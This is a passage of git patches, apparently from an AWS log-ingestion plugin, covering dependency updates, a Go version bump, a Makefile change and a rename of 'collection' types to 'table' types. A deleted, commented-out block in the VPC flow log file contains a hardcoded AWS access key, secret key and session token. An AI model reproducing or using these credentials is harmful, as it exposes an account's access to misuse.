v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= +github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= +github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgproto3/v2 v2.3.3 h1:1HLSx5H+tXR9pW3in3zaztoEwQYRC9SQaYUHjTSUOag= +github.com/jackc/pgproto3/v2 v2.3.3/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk= +github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM= github.com/jhump/protoreflect v1.15.1 h1:HUMERORf3I3ZdX05WaQ6MIpd/NJ434hTp5YiKgfCL6c= github.com/jhump/protoreflect v1.15.1/go.mod h1:jD/2GMKKE6OqX8qTjhADU1e6DShO+gavG9e0Q693nKo= github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= @@ -153,12 +187,16 @@ github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGw github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7C0MuV77Wo= github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= +github.com/karrick/gows v0.3.0 h1:/FGSuBiJMUqNOJPsAdLvHFg7RnkFoWBS8USpdco5ONQ= +github.com/karrick/gows v0.3.0/go.mod h1:kdZ/jfdo8yqKYn+BMjBkhP+/oRKUABR1abaomzRi/n8= github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q= +github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= @@ -199,6 +237,8 @@ github.com/satyrius/gonx v1.4.0 h1:F3uxif5Yx6FBzdQAh79bHQK6CTJugOcN0w0Z8azQuQg= github.com/satyrius/gonx v1.4.0/go.mod h1:+r8KNe5d2tjkZU+DfhERo0G6KxkGih+1qYF6tqLHwvk= github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 h1:n661drycOFuPLCN3Uc8sB6B/s6Z4t2xvBgU1htSHuq8= github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3/go.mod h1:A0bzQcvG0E7Rwjx0REVgAGH58e96+X0MeOfepqsbeW4= +github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 h1:v9ezJDHA1XGxViAUSIoO/Id7Fl63u6d0YmsAm+/p2hs= +github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02/go.mod h1:RF16/A3L0xSa0oSERcnhd8Pu3IXSDZSK2gmGIMsttFE= github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= github.com/smarty/assertions v1.15.0 h1:cR//PqUBUiQRakZWqBiFFQ9wb8emQGDb0HeGdqGByCY= @@ -212,10 +252,14 @@ github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1FQKckRals= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/tklauser/go-sysconf v0.3.9 h1:JeUVdAOWhhxVcU6Eqr/ATFHgXk/mmiItdKeJPev3vTo= @@ -228,6 +272,8 @@ github.com/turbot/go-kit v0.10.0-rc.0 h1:kd+jp2ibbIV33Hc8SsMAN410Dl9Pz6SJ40axbKU github.com/turbot/go-kit v0.10.0-rc.0/go.mod h1:fFQqR59I5z5JeeBLfK1PjSifn4Oprs3NiQx0CxeSJxs= github.com/turbot/steampipe-plugin-code v0.7.0 h1:SROYIo/TI/Q/YNfXK+sAIS71umypUFm1Uz851TmoJkM= github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKkIzl7aZKAFtIsyAR+z4YI= +github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b h1:Rl3YjN+sveHb51BlV3I48wsxsdBIhcS33CnZTM+lmLI= +github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b/go.mod h1:5hzpfalEjfcJWp9yq75/EZoEu2Mzm34eJAPm3HOW2tw= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg= github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= @@ -285,6 +331,7 @@ golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -305,6 +352,8 @@ golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.22.0 h1:BbsgPEJULsl2fV/AT3v15Mjva5yXKQDyKf+TbDz7QJk= +golang.org/x/term v0.22.0/go.mod h1:F3qCibpT5AMpCRfhfT53vVJwhLtIVHhB9XDjfFvnMI4= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= @@ -357,7 +406,9 @@ google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpAD google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= From 669dd11580eb98ab77708655392f6b2bf28f03af Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Tue, 20 Aug 2024 10:17:37 -0400 Subject: [PATCH 049/180] Update to go 1.23 --- go.mod | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index ebd4fe15..85b04de9 100644 --- a/go.mod +++ b/go.mod @@ -1,8 +1,8 @@ module github.com/turbot/tailpipe-plugin-aws -go 1.22.2 +go 1.23 -toolchain go1.22.3 +toolchain go1.23.0 replace github.com/turbot/tailpipe-plugin-sdk => ../tailpipe-plugin-sdk From 21b8b69576d1d507fed33fdf371e5fd6dbc05c59 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Tue, 20 Aug 2024 10:29:00 -0400 Subject: [PATCH 050/180] Update Makefile --- Makefile | 58 ++++++++++++++++++++++++++++++-------------------------- 1 file changed, 31 insertions(+), 27 deletions(-) diff --git a/Makefile b/Makefile index 5c893320..82783fe3 100644 --- a/Makefile +++ b/Makefile @@ -1,28 +1,32 @@ -# Paths -PLUGIN_NAME=tailpipe-plugin-aws.plugin -PLUGIN_DIR=~/.tailpipe/plugins/ - -# Build in development mode by default -.PHONY: default -default: install - -# Production build, optimized -.PHONY: build -build: - go build -o $(PLUGIN_NAME) . - -# Install the development build -.PHONY: install -install: build - mv $(PLUGIN_NAME) $(PLUGIN_DIR) - -# Run tests -.PHONY: test -test: - go test ./... -v - -# Clean up generated files -.PHONY: clean -clean: - rm -f $(PLUGIN_NAME) +TAILPIPE_INSTALL_DIR ?= ~/.tailpipe +BUILD_TAGS = netgo +install: + go build -o $(TAILPIPE_INSTALL_DIR)/plugins/tailpipe-plugin-aws.plugin -tags "${BUILD_TAGS}" *.go +## Paths +#PLUGIN_NAME=tailpipe-plugin-aws.plugin +#PLUGIN_DIR=~/.tailpipe/plugins/ +# +## Build in development mode by default +#.PHONY: default +#default: install +# +## Production build, optimized +#.PHONY: build +#build: +# go build -o $(PLUGIN_NAME) . +# +## Install the development build +#.PHONY: install +#install: build +# mv $(PLUGIN_NAME) $(PLUGIN_DIR) +# +## Run tests +#.PHONY: test +#test: +# go test ./... -v +# +## Clean up generated files +#.PHONY: clean +#clean: +# rm -f $(PLUGIN_NAME) From e4f1e267b94019f0dde31c4e10c2c390a27252d3 Mon Sep 17 00:00:00 2001 From: kaidaguerre Date: Mon, 2 Sep 2024 12:03:30 +0100 Subject: [PATCH 051/180] Rename collection to partition (#4) --- aws/plugin.go | 27 +- aws/plugin_test.go | 18 +- .../cloudtrail_log_collection_config.go | 7 - .../elb_access_log_collection_config.go | 9 - .../lambda_log_collection_config.go | 9 - .../s3_server_access_log_collection_config.go | 9 - aws_collection/vpc_flow_log_collection.go | 209 ----- .../cloudtrail_log_table.go | 61 +- aws_table/cloudtrail_log_table_config.go | 7 + .../cloudtrail_log_table_test.go | 4 +- .../elb_access_log_table.go | 34 +- aws_table/elb_access_log_table_config.go | 9 + .../lambda_log_table.go | 34 +- aws_table/lambda_log_table_config.go | 9 + .../s3_server_access_log_table.go | 39 +- .../s3_server_access_log_table_config.go | 9 + aws_table/vpc_flow_log_table.go | 111 +++ .../vpc_flow_log_table_config.go | 6 +- data/paging/paging.db | Bin 274432 -> 0 bytes go.mod | 48 + go.sum | 854 +++++++++++++++++- op.log | 25 + 22 files changed, 1187 insertions(+), 351 deletions(-) delete mode 100644 aws_collection/cloudtrail_log_collection_config.go delete mode 100644 aws_collection/elb_access_log_collection_config.go delete mode 100644 aws_collection/lambda_log_collection_config.go delete mode 100644 aws_collection/s3_server_access_log_collection_config.go delete mode 100644 aws_collection/vpc_flow_log_collection.go rename aws_collection/cloudtrail_log_collection.go => aws_table/cloudtrail_log_table.go (52%) create mode 100644 aws_table/cloudtrail_log_table_config.go rename aws_collection/cloudtrail_log_collection_test.go => aws_table/cloudtrail_log_table_test.go (60%) rename aws_collection/elb_access_log_collection.go => aws_table/elb_access_log_table.go (84%) create mode 100644 aws_table/elb_access_log_table_config.go rename aws_collection/lambda_log_collection.go => aws_table/lambda_log_table.go (72%) create mode 100644 aws_table/lambda_log_table_config.go rename aws_collection/s3_server_access_log_collection.go => aws_table/s3_server_access_log_table.go (80%) create mode 100644 aws_table/s3_server_access_log_table_config.go create mode 100644 aws_table/vpc_flow_log_table.go rename aws_collection/vpc_flow_log_collection_config.go => aws_table/vpc_flow_log_table_config.go (77%) delete mode 100644 data/paging/paging.db create mode 100644 op.log diff --git a/aws/plugin.go b/aws/plugin.go index 83afe825..cd19d6a3 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -1,12 +1,9 @@ package aws import ( - "log/slog" - "time" - - "github.com/turbot/tailpipe-plugin-aws/aws_collection" - "github.com/turbot/tailpipe-plugin-sdk/collection" + "github.com/turbot/tailpipe-plugin-aws/aws_table" "github.com/turbot/tailpipe-plugin-sdk/plugin" + "github.com/turbot/tailpipe-plugin-sdk/table" ) type Plugin struct { @@ -16,18 +13,18 @@ type Plugin struct { func NewPlugin() (plugin.TailpipePlugin, error) { p := &Plugin{} - slog.Info("AWS Plugin starting") - time.Sleep(10 * time.Second) - slog.Info("YAWN") + //slog.Info("AWS Plugin starting") + //time.Sleep(10 * time.Second) + //slog.Info("YAWN") - // register the collections that we provide + // register the tables that we provide resources := &plugin.ResourceFunctions{ - Collections: []func() collection.Collection{ - aws_collection.NewCloudTrailLogCollection, - aws_collection.NewVPCFlowLogLogCollection, - aws_collection.NewElbAccessLogCollection, - aws_collection.NewS3ServerAccessLogCollection, - aws_collection.NewLambdaLogCollection, + Tables: []func() table.Table{ + aws_table.NewCloudTrailLogTable, + aws_table.NewVPCFlowLogLogTable, + aws_table.NewElbAccessLogTable, + aws_table.NewS3ServerAccessLogTable, + aws_table.NewLambdaLogTable, }, } diff --git a/aws/plugin_test.go b/aws/plugin_test.go index 001d88a9..fba7e6db 100644 --- a/aws/plugin_test.go +++ b/aws/plugin_test.go @@ -1,12 +1,10 @@ package aws -// -//import ( -// "testing" -// -// "github.com/turbot/tailpipe-plugin-sdk/plugin" -//) -// -//func TestConformance(t *testing.T) { -// plugin.RunConformanceTests(t, &Plugin{}) -//} +import ( + "github.com/turbot/tailpipe-plugin-sdk/plugin" + "testing" +) + +func TestConformance(t *testing.T) { + plugin.Validate(t, NewPlugin) +} diff --git a/aws_collection/cloudtrail_log_collection_config.go b/aws_collection/cloudtrail_log_collection_config.go deleted file mode 100644 index 525b5f7c..00000000 --- a/aws_collection/cloudtrail_log_collection_config.go +++ /dev/null @@ -1,7 +0,0 @@ -package aws_collection - -type CloudTrailLogCollectionConfig struct{} - -func (c *CloudTrailLogCollectionConfig) Validate() error { - return nil -} diff --git a/aws_collection/elb_access_log_collection_config.go b/aws_collection/elb_access_log_collection_config.go deleted file mode 100644 index 2d1fd5fa..00000000 --- a/aws_collection/elb_access_log_collection_config.go +++ /dev/null @@ -1,9 +0,0 @@ -package aws_collection - -type ElbAccessLogCollectionConfig struct { -} - -func (a ElbAccessLogCollectionConfig) Validate() error { - // TODO: #config validate the config - return nil -} diff --git a/aws_collection/lambda_log_collection_config.go b/aws_collection/lambda_log_collection_config.go deleted file mode 100644 index 5965b4a3..00000000 --- a/aws_collection/lambda_log_collection_config.go +++ /dev/null @@ -1,9 +0,0 @@ -package aws_collection - -type LambdaLogCollectionConfig struct { -} - -func (a LambdaLogCollectionConfig) Validate() error { - // TODO: #config validate the config - return nil -} diff --git a/aws_collection/s3_server_access_log_collection_config.go b/aws_collection/s3_server_access_log_collection_config.go deleted file mode 100644 index 3038df7a..00000000 --- a/aws_collection/s3_server_access_log_collection_config.go +++ /dev/null @@ -1,9 +0,0 @@ -package aws_collection - -type S3ServerAccessLogCollectionConfig struct { -} - -func (a S3ServerAccessLogCollectionConfig) Validate() error { - // TODO: #config validate the config - return nil -} diff --git a/aws_collection/vpc_flow_log_collection.go b/aws_collection/vpc_flow_log_collection.go deleted file mode 100644 index 838f8c8f..00000000 --- a/aws_collection/vpc_flow_log_collection.go +++ /dev/null @@ -1,209 +0,0 @@ -package aws_collection - -import ( - "fmt" - "time" - - "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/aws_types" - "github.com/turbot/tailpipe-plugin-sdk/collection" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/hcl" - "github.com/turbot/tailpipe-plugin-sdk/helpers" -) - -// VPCFlowLogLogCollection - collection for VPC Flow Logs -type VPCFlowLogLogCollection struct { - // all collections must embed collection.CollectionBase - collection.CollectionBase[*VpcFlowLogCollectionConfig] -} - -func NewVPCFlowLogLogCollection() collection.Collection { - return &VPCFlowLogLogCollection{} -} - -// Identifier implements collection.Collection -func (c *VPCFlowLogLogCollection) Identifier() string { - return "aws_vpc_flow_log" -} - -// -//// Init implements collection.Collection -//func (c *VPCFlowLogLogCollection) Init(ctx context.Context, collectionConfig, sourceConfig *hcl.Data) error { -// } -// //// TEMP - this will actually parse (or the base will) -// //// unmarshal the config -// //config := &VpcFlowLogCollectionConfig{ -// // Paths: []string{"/Users/kai/tailpipe_data/flowlog"}, -// // // use defaults when using cloudwatch -// // // //Fields: []string{"timestamp", -// // // // "version", -// // // // "account-id", -// // // // "interface-id", -// // // // "srcaddr", -// // // // "dstaddr", -// // // // "srcport", -// // // // "dstport", -// // // // "protocol", -// // // // "packets", -// // // // "bytes", -// // // // "start", -// // // // "end", -// // // // "action", -// // // // "log-status", -// // // //}, -// //} -// // -// -// // init the config = this will set default fields if needed -// if err := c.Config.Init(); err != nil { -// return fmt.Errorf("error initializing config: %w", err) -// } -// // todo validate config -// -//} - -// GetRowSchema implements collection.Collection -// return an instance of the row struct -func (c *VPCFlowLogLogCollection) GetRowSchema() any { - return aws_types.AwsVpcFlowLog{} -} - -func (c *VPCFlowLogLogCollection) GetConfigSchema() hcl.Config { - return &VpcFlowLogCollectionConfig{} -} - -// EnrichRow implements collection.Collection -func (c *VPCFlowLogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { - // row must be a string - rowString, ok := row.(string) - if !ok { - return nil, fmt.Errorf("invalid row type %T, expected string", row) - } - record, err := aws_types.FlowLogFromString(rowString, c.Config.Fields) - - if err != nil { - return nil, fmt.Errorf("error parsing row: %s", err) - } - - // initialize the enrichment fields to any fields provided by the source - if sourceEnrichmentFields != nil { - record.CommonFields = *sourceEnrichmentFields - } - - // Record standardization - record.TpID = xid.New().String() - - // TODO is source type actually the source, i.e compressed file source etc> - // should these all be filled in by the source??? - record.TpSourceType = c.Identifier() - //record.TpSourceName = ??? - //record.TpSourceLocation = ??? - record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) - - // Hive fields - // TODO - should be based on the definition in HCL - record.TpCollection = "default" - if record.AccountID != nil { - record.TpConnection = *record.AccountID - } - - // populate the year, month, day from start time - if record.Timestamp != nil { - // TODO factor into function - record.TpYear = int32(record.Timestamp.In(time.UTC).Year()) - record.TpMonth = int32(record.Timestamp.In(time.UTC).Month()) - record.TpDay = int32(record.Timestamp.In(time.UTC).Day()) - - record.TpTimestamp = helpers.UnixMillis(record.Timestamp.UnixNano() / int64(time.Millisecond)) - - } else if record.Start != nil { - record.TpYear = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Year()) - record.TpMonth = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Month()) - record.TpDay = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Day()) - - //convert from unis seconds to milliseconds - record.TpTimestamp = helpers.UnixMillis(*record.Start * 1000) - } - - //record.TpAkas = ??? - //record.TpTags = ??? - //record.TpDomains = ??? - //record.TpEmails = ??? - //record.TpUsernames = ??? - - // ips - if record.SrcAddr != nil { - record.TpSourceIP = record.SrcAddr - record.TpIps = append(record.TpIps, *record.SrcAddr) - } - if record.DstAddr != nil { - record.TpDestinationIP = record.DstAddr - record.TpIps = append(record.TpIps, *record.DstAddr) - } - - return record, nil - -} - -// -//// use the config to configure the ArtifactSource -//func (c *VPCFlowLogLogCollection) getSource(ctx context.Context, config *VpcFlowLogCollectionConfig) (plugin.RowSource, error) { -// // TODO populate from config -// //srcConfig := &artifact.AwsS3BucketSourceConfig{ -// // SourceConfigBase: artifact.SourceConfigBase{ -// // // TODO #config where do we configure this -// // TmpDir: os.TempDir(), -// // }, -// // Bucket: "silverwater-flowlog-s3-bucket", -// // Extensions: []string{".gz"}, -// // AccessKey: "", -// // SecretKey: "", -// // SessionToken: "", -// //} -// // -// //artifactSource, err := artifact.NewAwsS3BucketSource(sourceConfig) -// //if err != nil { -// // return nil, fmt.Errorf("error creating s3 bucket source: %w", err) -// //} -// -// //artifactSource := artifact.NewFileSystemSource(&artifact.FileSystemSourceConfig{ -// -// // Paths: config.Paths, -// // Extensions: []string{".gz"}, -// //}) -// srcConfig := &artifact.AwsCloudWatchSourceConfig{ -// SourceConfigBase: artifact.SourceConfigBase{ -// // TODO #config where do we configure this -// TmpDir: os.TempDir(), -// }, -// AccessKey: "ASIARNKUQPUT2DKH2CJH", -// SecretKey: "o3W4OjtkAs418H4h/rJGcorIHQVWw8qVGCFXTW0Y", -// SessionToken: "IQoJb3JpZ2luX2VjEOf//////////wEaCXVzLWVhc3QtMiJIMEYCIQCMQtQOXk2UvNDtrKpGVv/KpXph86EJ8LVnGK+RZM5epQIhAO3oruAIomKUK8ljVNcQrBL7CtkkHJsSboBX9FrF/pwUKo8DCMD//////////wEQAxoMMDk3MzUwODc2NDU1Igxp82/qL0ja9Ki1M90q4wLDWC+4stlMrQYQV2hGIZXekIRClllYiwyzModW5cx1lVDnp1s1Twnm2eDcA707NzMX5v5k6p+A2svLx6JUg2ymGOBHB067IyanCXNCzGK/+FG+Ec2L419r2Jt+sxspvNthcQhkVFAPIkdFBCr0cdcIc60IrVF5TCHhsf94bQHRE/NXGwwZeeUZiXCaz6QQDsr56+p/bGHR1QTxLfwZWSNs/tI1IuTRaiBk0LOfACgWAYWq5VWwDQbqoYCIBOU+rpH/YNNmsUgQQbIS9VKbu2vuAoUeXuOiST2J5YRriX+potowmnICtkEFuIAfpuYz6uA4xwT3fOtQNjs3dEfKjus7ZrFv0oO3PtUHWGC3Nsn0y2/jkwYlasTekfKNd0Wz/cnKwEjtNWWFw1+MXNbocGc9lBulmN4StMOTUI/jQdlm3tXJ861CD+4Qm23aulw9IFZODdL7dHcHx1gIPAsNt1qeXEgOMIvLibUGOqUBBoIM4Qt+VO0jO/1Li4WEfPB/Pd3+D12VaPwC7503YtNEaZOg9SmWeXht/G9Fq6B+bUsNrA0ADAFLotr4QZZsUST2BJU5lf3vAIbi9tH4WUMzY4kK7huqax3TICN7kuRO/kxbWvXyeqTPOayi47xgEOc5YiRhyuyjZfwxpZdJVxvOG+AOoqbhphRe9DvbVhUylrKDj0FpH93zuDOYUl0a7PCBM1ns", -// LogGroupName: "/victor/vpc/flowlog", -// LogStreamPrefix: utils.ToStringPointer("eni"), -// StartTime: time.Now().Add(-time.Hour * 24), -// EndTime: time.Now(), -// } -// -// artifactSource, err := artifact.NewAwsCloudWatchSource(ctx, srcConfig) -// -// // create empty paging data to pass to source -// // TODO maybe source creates for itself?? -// pagingData, err := c.GetPagingDataSchema() -// if err != nil { -// return nil, fmt.Errorf("error creating paging data: %w", err) -// } -// -// source, err := row_source.NewArtifactRowSource( -// artifactSource, -// pagingData, -// // we expect a log row per line of log data -// row_source.WithRowPerLine(), -// ) -// if err != nil { -// return nil, fmt.Errorf("error creating artifact row source: %w", err) -// } -// -// return source, nil -//} diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_table/cloudtrail_log_table.go similarity index 52% rename from aws_collection/cloudtrail_log_collection.go rename to aws_table/cloudtrail_log_table.go index 74662d14..19ce1626 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_table/cloudtrail_log_table.go @@ -1,4 +1,4 @@ -package aws_collection +package aws_table import ( "fmt" @@ -6,49 +6,66 @@ import ( "time" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-aws/util" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/hcl" "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" ) -// CloudTrailLogCollection - collection for CloudTrail logs -type CloudTrailLogCollection struct { - // all collections must embed collection.CollectionBase - collection.CollectionBase[*CloudTrailLogCollectionConfig] +// CloudTrailLogTable - table for CloudTrail logs +type CloudTrailLogTable struct { + // all tables must embed table.TableBase + table.TableBase[*CloudTrailLogTableConfig] } -func NewCloudTrailLogCollection() collection.Collection { - return &CloudTrailLogCollection{} +func NewCloudTrailLogTable() table.Table { + return &CloudTrailLogTable{} } -// Identifier implements collection.Collection -func (c *CloudTrailLogCollection) Identifier() string { +// Identifier implements table.Table +func (c *CloudTrailLogTable) Identifier() string { return "aws_cloudtrail_log" } // GetSourceOptions returns any options which should be passed to the given source type -func (c *CloudTrailLogCollection) GetSourceOptions() []row_source.RowSourceOption { - // 